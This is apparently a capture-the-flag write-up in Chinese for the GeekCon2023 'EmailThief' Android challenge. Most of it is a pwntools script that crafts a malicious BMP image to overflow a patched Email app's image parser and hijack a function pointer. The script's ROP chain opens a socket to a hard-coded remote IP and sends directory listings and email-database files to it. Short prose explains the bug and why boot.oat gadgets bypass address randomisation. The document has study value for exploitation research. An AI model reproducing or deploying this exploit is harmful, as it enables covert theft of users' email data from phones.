0%

GeekCon2023 AVSS EmailThief

patch在系统的Email软件中加入了一个so库,当Email中存在image/bmp图片时会调用so库中的函数进行图片解析,其中memcpy存在溢出

可以溢出覆盖pages变量和watermark函数指针,当代码执行到后面时就可以调用到watermark函数,并且可以控制参数0和1。由于开启了地址随机化,通过观察发现系统中的boot.oat文件有RX代码区,并且每次重启或者开机其地址都不变,因此可以利用其中的gadgets。

EXP编写过程中需要寻找合适的gadgets进行构造,发现到最后execve总是不能成功执行,最后该用了ORW的方式读取数据,先构造ROP调用getdents获得目录结构,然后调用ORW读取文件,pdf文件在/data/data/com.android.email/databases/xx_db_att文件夹下。

最终演示发现EXP打不通,最后才知道是boot.oat有差异,boot.oat会在数据清除后重新生成,因此每个手机的boot.oat不一样,EXP仅仅适用于这一个手机

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
#coding:utf8
from pwn import *

#mov sb, r0 ; add r6, pc ; ldr.w lr, [sb, #0x114] ; mov r1, r8 ; movw r0, #0x34e ; blx lr
mov_sb = 0x7374472e
#mov sp, sb ; add r6, pc ; ldr.w r0, [pc, #0x88] ; ldr.w lr, [sb, #0x10c] ; movs r5, #2 ; adds r1, r5, #0 ; mov r2, sl ; blx lr
mov_sp_sb = 0x731b14be

pop_r012 = 0x72dd5540
pop_r0123 = 0x72886064
pop_r23 = 0x72b85994
pop_r2 = 0x72a0ad16
pop_r7 = 0x728bb89c
pop_r1_r2 = 0x73440be4
#str r0, [r1, #0x50] ; adds r0, r6, #0 ; add sp, #0x10 ; pop {r5, r6, r7, pc}
str_r0_r1 = 0x73c5e440
#ldr r0, [r1, #4] ; lsls r2, r0, #1 ; pop {r1, r5, pc}
ldr_r0_r1 = 0x72abaa2c
pop_r1 = 0x72c11b38
pop_r0 = 0x72b02c50
pop_r0_r1 = 0x7281b700

#svc #0x94 ; lsls r6, r1, #1 ; pop {r3, r7, pc}
svc = 0x72b83a5c
#add r0, sp, #0x1a0 ; strb r2, [r3, #1] ; pop {r3, r5, r7, pc}
add_r0_sp = 0x728bcaa0
#add r1, sp, #0x244 ; movs r4, r3 ; pop {r3, r7, pc}
add_r1_sp = 0x72854994
#add sp, #0x20 ; pop {r5, r6, r7, pc}
add_sp_0x20 = 0x7280889e
bss = 0x73dd9000

bmp = 'BM'
bmp += p32(0) #bfSize
bmp += p32(0)
bmp += p32(0x20)

bmp += p32(0) #biSize
bmp += p32(0x20) #biWidth
bmp += p32(0x20) #biHeight
bmp += p16(1) #biPlanes
bmp += p16(24) #biBitCount

bmp += 'DD'

rop = p32(bss) + p32(pop_r0+1) + p32(0x1D090002)
rop += p32(str_r0_r1+1) + 'a'*0x1C
rop += p32(pop_r1+1) + p32(bss+0x4) + p32(pop_r0+1) + p32(0x200AA8C0)
rop += p32(str_r0_r1+1) + 'b'*0x1C
rop += p32(pop_r012+1) + p32(2) + p32(1) + p32(0) #R0~2
rop += p32(pop_r7+1) + p32(0x119) + p32(svc+1) #socket(2,1,0)
rop += p32(0) + p32(0x11B)
rop += p32(pop_r1+1) + p32(bss+0x8) + p32(str_r0_r1+1) + 'c'*0x18 + p32(0x11B)
rop += p32(pop_r1+1) + p32(bss+0x54) + p32(ldr_r0_r1+1) + p32(bss+0x50) + p32(0)
rop += p32(pop_r2+1) + p32(0x10) + p32(svc+1) #connect(fd,&addr,0x10)
rop += 'd'*0x8
rop += p32(add_r1_sp+1) + 'd'*0x4 + p32(0x142)
rop += p32(pop_r0+1) + p32(0xFFFFFF9C) + p32(pop_r23+1) + p32(0xA4000) + p32(0)
rop += p32(svc+1) #openat(0,"file",0,0)
rop += 'e'*0x4 + p32(0xd9)
rop += p32(add_sp_0x20+1)

print(hex(len(rop)))
payload = rop.ljust(0x10c,'a')
payload += p32(pop_r1+1)
payload += 'a'*0x4
payload += p32(mov_sp_sb+1)
payload += 'b'*0x14

'''payload += p32(0x3)
rop2 = p32(pop_r1_r2+1) + p32(bss+0x60) + p32(0x1000) + p32(svc+1) #read
rop2 += 'f'*0x4 + p32(0x4) + p32(pop_r1+1) + p32(bss+0x54) + p32(ldr_r0_r1+1) + p32(bss+0x60) + p32(0)
rop2 += p32(pop_r2+1) + p32(0x1000) + p32(svc+1) #write
'''

payload += p32(0xd9)

#rop2 = p32(pop_r1+1) + p32(bss+0xc) + p32(str_r0_r1+1) + 'c'*0x18 + p32(0xd9)

rop2 = p32(pop_r1_r2+1) + p32(bss+0x60) + p32(0x1000) + p32(svc+1) #getdents
rop2 += 'f'*0x4 + p32(0x4) + p32(pop_r1+1) + p32(bss+0x54) + p32(ldr_r0_r1+1) + p32(bss+0x60) + p32(0)
rop2 += p32(pop_r2+1) + p32(0x50) + p32(svc+1) #write

'''
rop2 += 'f'*0x4 + p32(0xd9)
rop2 += p32(pop_r1+1) + p32(bss+0x58) + p32(ldr_r0_r1+1) + p32(bss+0x60) + p32(0)
rop2 += p32(pop_r2+1) + p32(0x1000) + p32(svc+1) #getdents
rop2 += 'f'*0x4 + p32(0x4) + p32(pop_r1+1) + p32(bss+0x54) + p32(ldr_r0_r1+1) + p32(bss+0x60) + p32(0)
rop2 += p32(pop_r2+1) + p32(0x50) + p32(svc+1) #write


rop2 += 'f'*0x4 + p32(0xd9)
rop2 += p32(pop_r1+1) + p32(bss+0x58) + p32(ldr_r0_r1+1) + p32(bss+0x60) + p32(0)
rop2 += p32(pop_r2+1) + p32(0x1000) + p32(svc+1) #getdents
rop2 += 'f'*0x4 + p32(0x4) + p32(pop_r1+1) + p32(bss+0x54) + p32(ldr_r0_r1+1) + p32(bss+0x60) + p32(0)
rop2 += p32(pop_r2+1) + p32(0x50) + p32(svc+1) #write

rop2 += 'f'*0x4 + p32(0xd9)
rop2 += p32(pop_r1+1) + p32(bss+0x58) + p32(ldr_r0_r1+1) + p32(bss+0x60) + p32(0)
rop2 += p32(pop_r2+1) + p32(0x1000) + p32(svc+1) #getdents
rop2 += 'f'*0x4 + p32(0x4) + p32(pop_r1+1) + p32(bss+0x54) + p32(ldr_r0_r1+1) + p32(bss+0x60) + p32(0)
rop2 += p32(pop_r2+1) + p32(0x50) + p32(svc+1) #write

rop2 += 'f'*0x4 + p32(0xd9)
rop2 += p32(pop_r1+1) + p32(bss+0x58) + p32(ldr_r0_r1+1) + p32(bss+0x60) + p32(0)
rop2 += p32(pop_r2+1) + p32(0x1000) + p32(svc+1) #getdents
rop2 += 'f'*0x4 + p32(0x4) + p32(pop_r1+1) + p32(bss+0x54) + p32(ldr_r0_r1+1) + p32(bss+0x60) + p32(0)
rop2 += p32(pop_r2+1) + p32(0x50) + p32(svc+1) #write
'''

payload += rop2

print(hex(len(payload)))
payload = payload.ljust(0x318,'c')
payload += '/data/data/com.android.email/databases\x00'
#payload += '/sdcard/1.bmp\x00'
#payload += '/sdcard/\x00'

payload = payload.ljust(0x3*0x10*0x20,'a')

bmp += payload


bmp += p32(0) #image_ptr
bmp += p32(0) #pages
bmp += 'bbbb' #footprint
bmp += p32(mov_sb+1) #watermark


f = open('1.bmp','wb')
f.write(bmp)
f.close()